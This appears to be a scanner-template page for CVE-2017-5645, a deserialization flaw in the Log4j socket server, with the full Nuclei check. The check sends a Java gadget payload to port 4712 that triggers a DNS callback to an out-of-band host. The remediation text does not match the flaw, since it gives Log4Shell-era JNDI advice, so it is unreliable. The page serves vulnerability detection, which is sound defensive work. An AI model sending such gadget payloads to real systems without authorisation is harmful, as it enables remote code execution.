CVE-2017-5645· apache / log4j· CWE-502
Apache Log4j Server - Deserialization Command Execution
In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
Impact
Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
Fix
Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
How to confirm it
Send: tcp probe to {{Hostname}}, {{Host}}:4712
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2017-5645 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-5645
info:
name: Apache Log4j Server - Deserialization Command Execution
author: princechaddha
severity: critical
description: |
In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
impact: |
Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
remediation: |
Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
reference:
- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
- http://www.openwall.com/lists/oss-security/2019/12/19/2
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-5645
cwe-id: CWE-502
epss-score: 0.89358
epss-percentile: 0.99785
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: log4j
tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp,vuln
variables:
end: "\r\n"
tcp:
- host:
- "{{Hostname}}"
- "{{Host}}:4712"
inputs:
- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
read-size: 100
matchers:
- type: word
part: interactsh_protocol
words:
- dnsReferences
- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
- http://www.openwall.com/lists/oss-security/2019/12/19/2
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
Use this check only on systems you are authorised to test. Where the data comes from